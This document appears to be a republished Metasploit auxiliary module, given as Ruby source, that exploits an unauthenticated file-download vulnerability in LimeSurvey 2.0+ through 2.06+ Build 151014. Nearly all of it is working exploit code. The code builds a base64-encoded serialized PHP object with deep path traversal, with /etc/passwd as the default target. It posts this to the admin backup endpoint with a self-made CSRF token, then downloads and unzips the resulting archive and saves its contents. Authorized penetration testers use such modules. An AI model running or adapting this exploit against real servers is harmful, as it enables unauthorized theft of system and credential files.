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Limesurvey Unauthenticated File Download

This Metasploit module exploits an unauthenticated file download vulnerability in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded as a ZIP and unzipped automatically, thus binary files can be downloaded.

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#csrf#vulnerability#git#php#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework### for extracting filesrequire 'zip'class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Report  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Limesurvey Unauthenticated File Download',        'Description' => %q{          This module exploits an unauthenticated file download vulnerability          in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded          as a ZIP and unzipped automatically, thus binary files can be downloaded.        },        'Author' => [          'Pichaya Morimoto', # Vulnerability Discovery          'Christian Mehlmauer' # Metasploit module        ],        'License' => MSF_LICENSE,        'References' => [          ['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'],          ['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'],          ['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1']        ],        'DisclosureDate' => '2015-10-12'      )    )    register_options(      [        Opt::RPORT(80),        OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']),        OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),        OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15])      ]    )  end  def filepath    datastore['FILEPATH']  end  def traversal_depth    datastore['TRAVERSAL_DEPTH']  end  def payload    traversal = '/..' * traversal_depth    file = "#{traversal}#{filepath}"    serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}'    Rex::Text.encode_base64(serialized)  end  def unzip_file(zipfile)    zip_data = Hash.new    begin      Zip::File.open_buffer(zipfile) do |filezip|        filezip.each do |entry|          zip_data[::File.expand_path(entry.name)] = filezip.read(entry)        end      end    rescue Zip::Error => e      print_error("Error extracting ZIP: #{e}")    end    return zip_data  end  def run    csrf_token = Rex::Text.rand_text_alpha(10)    vars_post = {      'YII_CSRF_TOKEN' => csrf_token,      'destinationBuild' => Rex::Text.rand_text_alpha(5),      'datasupdateinfo' => payload    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri, 'index.php', 'admin', 'update', 'sa', 'backup'),      'cookie' => "YII_CSRF_TOKEN=#{csrf_token}",      'vars_post' => vars_post    })    if res && res.code == 200 && res.body && res.body.include?('Download this file')      match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>})      if match        local_path = match[1]        download_url = match[2]        print_status("File saved to #{local_path}")        print_status("Downloading backup from URL #{download_url}")        res = send_request_cgi({          'method' => 'GET',          'uri' => download_url        })        if res && res.code == 200          unzipped = unzip_file(res.body)          unzipped.each do |filename, content|            print_good("Filename: #{filename}")            print_good(content)            path = store_loot(              'limesurvey.http',              'application/octet-stream',              rhost,              content,              filename            )            print_good("File saved in: #{path}")          end        else          print_error('Failed to download file')        end      else        print_error('Failed to download file')      end    else      print_error('Failed to download file')    end  endend

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